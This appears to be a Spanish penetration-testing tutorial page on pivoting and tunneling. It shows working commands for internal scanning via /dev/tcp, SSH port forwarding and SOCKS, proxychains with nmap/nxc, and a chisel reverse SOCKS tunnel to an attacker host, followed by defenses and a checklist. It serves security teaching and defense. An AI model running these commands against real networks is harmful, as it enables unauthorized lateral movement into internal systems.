Saltearse al contenido

Pivoting y túneles

Rara vez comprometes directamente tu objetivo final. Lo normal es tomar una máquina expuesta (DMZ, servidor web) y usarla como trampolín para alcanzar redes internas que no son accesibles desde fuera. El pivoting es usar un host comprometido como puente hacia esas redes, y los túneles son los mecanismos (port forwarding, SOCKS, VPN) que llevan tu tráfico a través de él. Sin pivoting, un pentest interno se queda en la primera máquina.

flowchart LR
    A[Atacante] -->|"túnel / proxy (SOCKS)"| H["Host comprometido (pivote)"]
    H -->|"acceso"| N["Red interna no enrutable"]

El host comprometido tiene acceso a redes que tú no: otra interfaz, una subred interna, un firewall que lo deja salir. El pivoting reutiliza ese acceso. Dos formas: port forwarding (redirigir un puerto concreto) y proxy SOCKS (enrutar cualquier tráfico/tool a través del pivote).

Primero, ¿a qué llega el host comprometido?

ip a ; ip route # otras interfaces/subredes
arp -a ; cat /etc/hosts # vecinos conocidos
# escaneo ligero de la red interna desde el pivote (sin subir nmap)
for i in $(seq 1 254); do (echo >/dev/tcp/10.10.10.$i/445) 2>/dev/null && echo "10.10.10.$i:445"; done

Si tienes SSH, lo tienes casi todo:

# Local port forward: puerto local -> servicio interno vía el pivote
ssh -L 8080:10.10.10.5:80 user@pivote # tu localhost:8080 = interno:80
# Remote port forward: expones un puerto tuyo en el pivote
ssh -R 9001:localhost:9001 user@pivote
# Dynamic (SOCKS proxy): enruta CUALQUIER tool a la red interna
ssh -D 1080 user@pivote # SOCKS en localhost:1080

Luego, con proxychains, cualquier herramienta sale por el SOCKS:

# /etc/proxychains.conf -> socks5 127.0.0.1 1080
proxychains nmap -sT -Pn 10.10.10.5
proxychains nxc smb 10.10.10.0/24

Cuando no hay SSH: herramientas de tunneling

Sección titulada «Cuando no hay SSH: herramientas de tunneling»
chisel server/cliente HTTP -> SOCKS inverso (muy usado; sube un binario al pivote)
# atacante: chisel server -p 8000 --reverse
# pivote: chisel client ATACANTE:8000 R:socks
ligolo-ng túnel con interfaz TUN -> la red interna "aparece" como una interfaz local (cómodo)
sshuttle "VPN sobre SSH" -> rutas la subred interna de forma transparente
socat / netcat relays de puerto puntuales
metasploit route add + socks_proxy (autoroute)

ligolo-ng y sshuttle destacan por comodidad: enrutan subredes enteras sin configurar proxychains para cada tool.

A veces el objetivo está a dos saltos: comprometes A (DMZ) → desde A llegas a B (interna) → desde B a C (más interna). Se encadenan túneles (SSH -J, chisel/ligolo anidados) para alcanzar redes cada vez más profundas.

  • Segmentación estricta: que un host de DMZ no alcance la red interna; microsegmentación.
  • Egress filtering: limitar qué conexiones salientes puede hacer cada host (frena SOCKS inverso/C2).
  • Detección: conexiones salientes inusuales (chisel/ligolo hacia IPs externas), tráfico tunelizado, un host escaneando internamente.
  • EDR/NDR que detecte binarios de tunneling y patrones de pivoting; honeypots internos.
  • Principio: un host comprometido no debería poder convertirse en puente hacia lo crítico.
  • Enumerar a qué redes/interfaces llega el pivote
  • Escaneo ligero de la red interna desde el pivote
  • SSH port forward (local/remote) a un servicio interno
  • SOCKS dinámico (ssh -D / chisel / ligolo) + proxychains
  • Enrutar tus herramientas a la red interna (nmap/nxc)
  • Pivoting en cadena si el objetivo está a varios saltos
  • Blue: ¿segmentación y egress filtering limitan el pivote?
  • Documentar las subredes internas alcanzadas